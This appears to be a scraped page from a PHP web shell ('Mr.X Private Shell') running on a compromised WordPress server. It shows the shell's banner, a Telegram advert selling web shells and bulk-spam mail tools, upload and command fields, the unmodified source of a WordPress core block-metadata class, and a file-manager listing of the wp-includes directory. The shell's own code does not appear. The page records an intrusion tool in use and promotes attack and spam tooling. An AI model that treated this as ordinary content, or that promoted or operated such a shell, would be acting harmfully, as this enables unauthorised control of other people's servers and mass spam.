__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Block Metadata Registry
 *
 * @package WordPress
 * @subpackage Blocks
 * @since 6.7.0
 */

/**
 * Class used for managing block metadata collections.
 *
 * The WP_Block_Metadata_Registry allows plugins to register metadata for large
 * collections of blocks (e.g., 50-100+) using a single PHP file. This approach
 * reduces the need to read and decode multiple `block.json` files, enhancing
 * performance through opcode caching.
 *
 * @since 6.7.0
 */
class WP_Block_Metadata_Registry {

	/**
	 * Container for storing block metadata collections.
	 *
	 * Each entry maps a base path to its corresponding metadata and callback.
	 *
	 * @since 6.7.0
	 * @var array<string, array<string, mixed>>
	 */
	private static $collections = array();

	/**
	 * Caches the last matched collection path for performance optimization.
	 *
	 * @since 6.7.0
	 * @var string|null
	 */
	private static $last_matched_collection = null;

	/**
	 * Stores the default allowed collection root paths.
	 *
	 * @since 6.7.2
	 * @var string[]|null
	 */
	private static $default_collection_roots = null;

	/**
	 * Registers a block metadata collection.
	 *
	 * This method allows registering a collection of block metadata from a single
	 * manifest file, improving performance for large sets of blocks.
	 *
	 * The manifest file should be a PHP file that returns an associative array, where
	 * the keys are the block identifiers (without their namespace) and the values are
	 * the corresponding block metadata arrays. The block identifiers must match the
	 * parent directory name for the respective `block.json` file.
	 *
	 * Example manifest file structure:
	 * ```
	 * return array(
	 *     'example-block' => array(
	 *         'title' => 'Example Block',
	 *         'category' => 'widgets',
	 *         'icon' => 'smiley',
	 *         // ... other block metadata
	 *     ),
	 *     'another-block' => array(
	 *         'title' => 'Another Block',
	 *         'category' => 'formatting',
	 *         'icon' => 'star-filled',
	 *         // ... other block metadata
	 *     ),
	 *     // ... more block metadata entries
	 * );
	 * ```
	 *
	 * @since 6.7.0
	 *
	 * @param string $path     The absolute base path for the collection ( e.g., WP_PLUGIN_DIR . '/my-plugin/blocks/' ).
	 * @param string $manifest The absolute path to the manifest file containing the metadata collection.
	 * @return bool True if the collection was registered successfully, false otherwise.
	 */
	public static function register_collection( $path, $manifest ) {
		$path = wp_normalize_path( rtrim( $path, '/' ) );

		$collection_roots = self::get_default_collection_roots();

		/**
		 * Filters the root directory paths for block metadata collections.
		 *
		 * Any block metadata collection that is registered must not use any of these paths, or any parent directory
		 * path of them. Most commonly, block metadata collections should reside within one of these paths, though in
		 * some scenarios they may also reside in entirely different directories (e.g. in case of symlinked plugins).
		 *
		 * Example:
		 * * It is allowed to register a collection with path `WP_PLUGIN_DIR . '/my-plugin'`.
		 * * It is not allowed to register a collection with path `WP_PLUGIN_DIR`.
		 * * It is not allowed to register a collection with path `dirname( WP_PLUGIN_DIR )`.
		 *
		 * The default list encompasses the `wp-includes` directory, as well as the root directories for plugins,
		 * must-use plugins, and themes. This filter can be used to expand the list, e.g. to custom directories that
		 * contain symlinked plugins, so that these root directories cannot be used themselves for a block metadata
		 * collection either.
		 *
		 * @since 6.7.2
		 *
		 * @param string[] $collection_roots List of allowed metadata collection root paths.
		 */
		$collection_roots = apply_filters( 'wp_allowed_block_metadata_collection_roots', $collection_roots );

		$collection_roots = array_unique(
			array_map(
				static function ( $allowed_root ) {
					return rtrim( $allowed_root, '/' );
				},
				$collection_roots
			)
		);

		// Check if the path is valid:
		if ( ! self::is_valid_collection_path( $path, $collection_roots ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: list of allowed collection roots */
					__( 'Block metadata collections cannot be registered as one of the following directories or their parent directories: %s' ),
					esc_html( implode( wp_get_list_item_separator(), $collection_roots ) )
				),
				'6.7.2'
			);
			return false;
		}

		if ( ! file_exists( $manifest ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The specified manifest file does not exist.' ),
				'6.7.0'
			);
			return false;
		}

		self::$collections[ $path ] = array(
			'manifest' => $manifest,
			'metadata' => null,
		);

		return true;
	}

	/**
	 * Retrieves block metadata for a given block within a specific collection.
	 *
	 * This method uses the registered collections to efficiently lookup
	 * block metadata without reading individual `block.json` files.
	 *
	 * @since 6.7.0
	 *
	 * @param string $file_or_folder The path to the file or folder containing the block.
	 * @return array|null The block metadata for the block, or null if not found.
	 */
	public static function get_metadata( $file_or_folder ) {
		$path = self::find_collection_path( $file_or_folder );
		if ( ! $path ) {
			return null;
		}

		$collection = &self::$collections[ $path ];

		if ( null === $collection['metadata'] ) {
			// Load the manifest file if not already loaded
			$collection['metadata'] = require $collection['manifest'];
		}

		// Get the block name from the path.
		$block_name = self::default_identifier_callback( $file_or_folder );

		return isset( $collection['metadata'][ $block_name ] ) ? $collection['metadata'][ $block_name ] : null;
	}

	/**
	 * Finds the collection path for a given file or folder.
	 *
	 * @since 6.7.0
	 *
	 * @param string $file_or_folder The path to the file or folder.
	 * @return string|null The collection path if found, or null if not found.
	 */
	private static function find_collection_path( $file_or_folder ) {
		if ( empty( $file_or_folder ) ) {
			return null;
		}

		// Check the last matched collection first, since block registration usually happens in batches per plugin or theme.
		$path = wp_normalize_path( rtrim( $file_or_folder, '/' ) );
		if ( self::$last_matched_collection && str_starts_with( $path, self::$last_matched_collection ) ) {
			return self::$last_matched_collection;
		}

		$collection_paths = array_keys( self::$collections );
		foreach ( $collection_paths as $collection_path ) {
			if ( str_starts_with( $path, $collection_path ) ) {
				self::$last_matched_collection = $collection_path;
				return $collection_path;
			}
		}
		return null;
	}

	/**
	 * Checks if metadata exists for a given block name in a specific collection.
	 *
	 * @since 6.7.0
	 *
	 * @param string $file_or_folder The path to the file or folder containing the block metadata.
	 * @return bool True if metadata exists for the block, false otherwise.
	 */
	public static function has_metadata( $file_or_folder ) {
		return null !== self::get_metadata( $file_or_folder );
	}

	/**
	 * Default identifier function to determine the block identifier from a given path.
	 *
	 * This function extracts the block identifier from the path:
	 * - For 'block.json' files, it uses the parent directory name.
	 * - For directories, it uses the directory name itself.
	 * - For empty paths, it returns an empty string.
	 *
	 * For example:
	 * - Path: '/wp-content/plugins/my-plugin/blocks/example/block.json'
	 *   Identifier: 'example'
	 * - Path: '/wp-content/plugins/my-plugin/blocks/another-block'
	 *   Identifier: 'another-block'
	 *
	 * This default behavior matches the standard WordPress block structure.
	 *
	 * @since 6.7.0
	 *
	 * @param string $path The file or folder path to determine the block identifier from.
	 * @return string The block identifier, or an empty string if the path is empty.
	 */
	private static function default_identifier_callback( $path ) {
		// Ensure $path is not empty to prevent unexpected behavior.
		if ( empty( $path ) ) {
			return '';
		}

		if ( str_ends_with( $path, 'block.json' ) ) {
			// Return the parent directory name if it's a block.json file.
			return basename( dirname( $path ) );
		}

		// Otherwise, assume it's a directory and return its name.
		return basename( $path );
	}

	/**
	 * Checks whether the given block metadata collection path is valid against the list of collection roots.
	 *
	 * @since 6.7.2
	 *
	 * @param string   $path             Block metadata collection path, without trailing slash.
	 * @param string[] $collection_roots List of collection root paths, without trailing slashes.
	 * @return bool True if the path is allowed, false otherwise.
	 */
	private static function is_valid_collection_path( $path, $collection_roots ) {
		foreach ( $collection_roots as $allowed_root ) {
			// If the path matches any root exactly, it is invalid.
			if ( $allowed_root === $path ) {
				return false;
			}

			// If the path is a parent path of any of the roots, it is invalid.
			if ( str_starts_with( $allowed_root, $path ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Gets the default collection root directory paths.
	 *
	 * @since 6.7.2
	 *
	 * @return string[] List of directory paths within which metadata collections are allowed.
	 */
	private static function get_default_collection_roots() {
		if ( isset( self::$default_collection_roots ) ) {
			return self::$default_collection_roots;
		}

		$collection_roots = array(
			wp_normalize_path( ABSPATH . WPINC ),
			wp_normalize_path( WP_CONTENT_DIR ),
			wp_normalize_path( WPMU_PLUGIN_DIR ),
			wp_normalize_path( WP_PLUGIN_DIR ),
		);

		$theme_roots = get_theme_roots();
		if ( ! is_array( $theme_roots ) ) {
			$theme_roots = array( $theme_roots );
		}
		foreach ( $theme_roots as $theme_root ) {
			$collection_roots[] = trailingslashit( wp_normalize_path( WP_CONTENT_DIR ) ) . ltrim( wp_normalize_path( $theme_root ), '/' );
		}

		self::$default_collection_roots = array_unique( $collection_roots );
		return self::$default_collection_roots;
	}
}

Filemanager

Name Type Size Permission Actions
ID3 Folder 0775
IXR Folder 0775
PHPMailer Folder 0775
Requests Folder 0775
SimplePie Folder 0775
Text Folder 0775
assets Folder 0775
block-bindings Folder 0775
block-patterns Folder 0775
block-supports Folder 0775
blocks Folder 0775
certificates Folder 0775
css Folder 0775
customize Folder 0775
fonts Folder 0775
html-api Folder 0775
images Folder 0775
interactivity-api Folder 0775
js Folder 0775
l10n Folder 0775
php-compat Folder 0775
pomo Folder 0775
rest-api Folder 0775
sitemaps Folder 0775
sodium_compat Folder 0775
style-engine Folder 0775
theme-compat Folder 0775
widgets Folder 0775
admin-bar.php File 36.23 KB 0775
atomlib.php File 11.79 KB 0775
author-template.php File 18.51 KB 0775
block-bindings.php File 5.46 KB 0775
block-editor.php File 27.68 KB 0775
block-i18n.json File 316 B 0775
block-patterns.php File 12.81 KB 0775
block-template-utils.php File 58.74 KB 0775
block-template.php File 13.81 KB 0775
blocks.php File 102.43 KB 0775
bookmark-template.php File 12.64 KB 0775
bookmark.php File 15.07 KB 0775
cache-compat.php File 5.83 KB 0775
cache.php File 13.16 KB 0775
canonical.php File 33.71 KB 0775
capabilities.php File 41.72 KB 0775
category-template.php File 55.67 KB 0775
category.php File 12.41 KB 0775
class-IXR.php File 2.48 KB 0775
class-avif-info.php File 28.92 KB 0775
class-feed.php File 539 B 0775
class-http.php File 367 B 0775
class-json.php File 42.66 KB 0775
class-oembed.php File 401 B 0775
class-phpass.php File 6.61 KB 0775
class-phpmailer.php File 664 B 0775
class-pop3.php File 20.68 KB 0775
class-requests.php File 2.18 KB 0775
class-simplepie.php File 453 B 0775
class-smtp.php File 457 B 0775
class-snoopy.php File 36.83 KB 0775
class-walker-category-dropdown.php File 2.41 KB 0775
class-walker-category.php File 8.28 KB 0775
class-walker-comment.php File 13.89 KB 0775
class-walker-nav-menu.php File 11.51 KB 0775
class-walker-page-dropdown.php File 2.65 KB 0775
class-walker-page.php File 7.43 KB 0775
class-wp-admin-bar.php File 17.46 KB 0775
class-wp-ajax-response.php File 5.14 KB 0775
class-wp-application-passwords.php File 15.25 KB 0775
class-wp-block-bindings-registry.php File 8.26 KB 0775
class-wp-block-bindings-source.php File 2.92 KB 0775
class-wp-block-editor-context.php File 1.32 KB 0775
class-wp-block-list.php File 4.65 KB 0775
class-wp-block-metadata-registry.php File 9.99 KB 0775
class-wp-block-parser-block.php File 2.5 KB 0775
class-wp-block-parser-frame.php File 1.97 KB 0775
class-wp-block-parser.php File 11.26 KB 0775
class-wp-block-pattern-categories-registry.php File 5.25 KB 0775
class-wp-block-patterns-registry.php File 10.53 KB 0775
class-wp-block-styles-registry.php File 6.12 KB 0775
class-wp-block-supports.php File 5.48 KB 0775
class-wp-block-template.php File 1.99 KB 0775
class-wp-block-templates-registry.php File 7.06 KB 0775
class-wp-block-type-registry.php File 4.9 KB 0775
class-wp-block-type.php File 16.86 KB 0775
class-wp-block.php File 19.96 KB 0775
class-wp-classic-to-block-menu-converter.php File 3.99 KB 0775
class-wp-comment-query.php File 47.26 KB 0775
class-wp-comment.php File 9.15 KB 0775
class-wp-customize-control.php File 25.13 KB 0775
class-wp-customize-manager.php File 197.79 KB 0775
class-wp-customize-nav-menus.php File 55.84 KB 0775
class-wp-customize-panel.php File 10.39 KB 0775
class-wp-customize-section.php File 10.95 KB 0775
class-wp-customize-setting.php File 29.19 KB 0775
class-wp-customize-widgets.php File 70.47 KB 0775
class-wp-date-query.php File 34.89 KB 0775
class-wp-dependencies.php File 14.78 KB 0775
class-wp-dependency.php File 2.57 KB 0775
class-wp-duotone.php File 39.83 KB 0775
class-wp-editor.php File 70.64 KB 0775
class-wp-embed.php File 15.62 KB 0775
class-wp-error.php File 7.33 KB 0775
class-wp-exception.php File 253 B 0775
class-wp-fatal-error-handler.php File 7.96 KB 0775
class-wp-feed-cache-transient.php File 3.1 KB 0775
class-wp-feed-cache.php File 969 B 0775
class-wp-hook.php File 15.63 KB 0775
class-wp-http-cookie.php File 7.22 KB 0775
class-wp-http-curl.php File 12.25 KB 0775
class-wp-http-encoding.php File 6.53 KB 0775
class-wp-http-ixr-client.php File 3.42 KB 0775
class-wp-http-proxy.php File 5.84 KB 0775
class-wp-http-requests-hooks.php File 1.97 KB 0775
class-wp-http-requests-response.php File 4.3 KB 0775
class-wp-http-response.php File 2.91 KB 0775
class-wp-http-streams.php File 16.46 KB 0775
class-wp-http.php File 40.53 KB 0775
class-wp-image-editor-gd.php File 19.42 KB 0775
class-wp-image-editor-imagick.php File 31.9 KB 0775
class-wp-image-editor.php File 16.54 KB 0775
class-wp-list-util.php File 7.27 KB 0775
class-wp-locale-switcher.php File 6.47 KB 0775
class-wp-locale.php File 15.73 KB 0775
class-wp-matchesmapregex.php File 1.79 KB 0775
class-wp-meta-query.php File 29.82 KB 0775
class-wp-metadata-lazyloader.php File 6.67 KB 0775
class-wp-navigation-fallback.php File 9 KB 0775
class-wp-network-query.php File 19.39 KB 0775
class-wp-network.php File 12.01 KB 0775
class-wp-object-cache.php File 17.11 KB 0775
class-wp-oembed-controller.php File 6.74 KB 0775
class-wp-oembed.php File 30.74 KB 0775
class-wp-paused-extensions-storage.php File 4.99 KB 0775
class-wp-plugin-dependencies.php File 24.73 KB 0775
class-wp-post-type.php File 29.63 KB 0775
class-wp-post.php File 6.33 KB 0775
class-wp-query.php File 150.47 KB 0775
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0775
class-wp-recovery-mode-email-service.php File 10.92 KB 0775
class-wp-recovery-mode-key-service.php File 4.5 KB 0775
class-wp-recovery-mode-link-service.php File 3.38 KB 0775
class-wp-recovery-mode.php File 11.17 KB 0775
class-wp-rewrite.php File 62.2 KB 0775
class-wp-role.php File 2.46 KB 0775
class-wp-roles.php File 8.38 KB 0775
class-wp-script-modules.php File 18.91 KB 0775
class-wp-scripts.php File 27.68 KB 0775
class-wp-session-tokens.php File 7.28 KB 0775
class-wp-simplepie-file.php File 3.33 KB 0775
class-wp-simplepie-sanitize-kses.php File 1.79 KB 0775
class-wp-site-query.php File 30.88 KB 0775
class-wp-site.php File 7.28 KB 0775
class-wp-styles.php File 10.75 KB 0775
class-wp-tax-query.php File 19.1 KB 0775
class-wp-taxonomy.php File 18.13 KB 0775
class-wp-term-query.php File 39.91 KB 0775
class-wp-term.php File 5.17 KB 0775
class-wp-text-diff-renderer-inline.php File 979 B 0775
class-wp-text-diff-renderer-table.php File 18.37 KB 0775
class-wp-textdomain-registry.php File 10.24 KB 0775
class-wp-theme-json-data.php File 1.77 KB 0775
class-wp-theme-json-resolver.php File 34.97 KB 0775
class-wp-theme-json-schema.php File 7.19 KB 0775
class-wp-theme-json.php File 157.01 KB 0775
class-wp-theme.php File 63.88 KB 0775
class-wp-token-map.php File 27.95 KB 0775
class-wp-user-meta-session-tokens.php File 2.92 KB 0775
class-wp-user-query.php File 42.63 KB 0775
class-wp-user-request.php File 2.17 KB 0775
class-wp-user.php File 22.29 KB 0775
class-wp-walker.php File 13.01 KB 0775
class-wp-widget-factory.php File 3.27 KB 0775
class-wp-widget.php File 17.99 KB 0775
class-wp-xmlrpc-server.php File 209.91 KB 0775
class-wp.php File 25.51 KB 0775
class-wpdb.php File 115.61 KB 0775
class.wp-dependencies.php File 373 B 0775
class.wp-scripts.php File 343 B 0775
class.wp-styles.php File 338 B 0775
comment-template.php File 100.36 KB 0775
comment.php File 127.22 KB 0775
compat.php File 16.58 KB 0775
cron.php File 40.62 KB 0775
date.php File 400 B 0775
default-constants.php File 11.1 KB 0775
default-filters.php File 34.85 KB 0775
default-widgets.php File 2.17 KB 0775
deprecated.php File 185.67 KB 0775
embed-template.php File 338 B 0775
embed.php File 37.02 KB 0775
error-protection.php File 4.02 KB 0775
feed-atom-comments.php File 5.38 KB 0775
feed-atom.php File 2.98 KB 0775
feed-rdf.php File 2.61 KB 0775
feed-rss.php File 1.16 KB 0775
feed-rss2-comments.php File 4.04 KB 0775
feed-rss2.php File 3.71 KB 0775
feed.php File 22.86 KB 0775
fonts.php File 9.52 KB 0775
formatting.php File 327.37 KB 0775
functions.php File 276.53 KB 0775
functions.wp-scripts.php File 14.22 KB 0775
functions.wp-styles.php File 8.38 KB 0775
general-template.php File 165.52 KB 0775
global-styles-and-settings.php File 20.71 KB 0775
http.php File 24.72 KB 0775
https-detection.php File 5.53 KB 0775
https-migration.php File 4.63 KB 0775
kses.php File 72.66 KB 0775
l10n.php File 66.81 KB 0775
link-template.php File 154.01 KB 0775
load.php File 54.35 KB 0775
locale.php File 162 B 0775
media-template.php File 61.57 KB 0775
media.php File 213.3 KB 0775
meta.php File 62.9 KB 0775
ms-blogs.php File 25.17 KB 0775
ms-default-constants.php File 4.81 KB 0775
ms-default-filters.php File 6.48 KB 0775
ms-deprecated.php File 21.25 KB 0775
ms-files.php File 2.65 KB 0775
ms-functions.php File 89.11 KB 0775
ms-load.php File 19.42 KB 0775
ms-network.php File 3.69 KB 0775
ms-settings.php File 4.03 KB 0775
ms-site.php File 39.54 KB 0775
nav-menu-template.php File 25.31 KB 0775
nav-menu.php File 43.33 KB 0775
option.php File 99.37 KB 0775
pluggable-deprecated.php File 6.12 KB 0775
pluggable.php File 113.25 KB 0775
plugin.php File 34.63 KB 0775
post-formats.php File 6.94 KB 0775
post-template.php File 65.31 KB 0775
post-thumbnail-template.php File 10.57 KB 0775
post.php File 283.1 KB 0775
query.php File 36.17 KB 0775
registration-functions.php File 200 B 0775
registration.php File 200 B 0775
rest-api.php File 97.26 KB 0775
revision.php File 30.17 KB 0775
rewrite.php File 19.08 KB 0775
robots-template.php File 5.06 KB 0775
rss-functions.php File 255 B 0775
rss.php File 22.57 KB 0775
script-loader.php File 127.67 KB 0775
script-modules.php File 7.53 KB 0775
session.php File 258 B 0775
shortcodes.php File 23.49 KB 0775
sitemaps.php File 3.16 KB 0775
spl-autoload-compat.php File 441 B 0775
style-engine.php File 7.39 KB 0775
taxonomy.php File 171.33 KB 0775
template-canvas.php File 544 B 0775
template-loader.php File 2.94 KB 0775
template.php File 23.59 KB 0775
theme-i18n.json File 1.26 KB 0775
theme-previews.php File 2.77 KB 0775
theme-templates.php File 6.08 KB 0775
theme.json File 8.5 KB 0775
theme.php File 130.84 KB 0775
update.php File 35.93 KB 0775
user.php File 170.32 KB 0775
vars.php File 6.34 KB 0775
version.php File 961 B 0775
widgets.php File 69.03 KB 0775
wp-db.php File 445 B 0775
wp-diff.php File 726 B 0775
Filemanager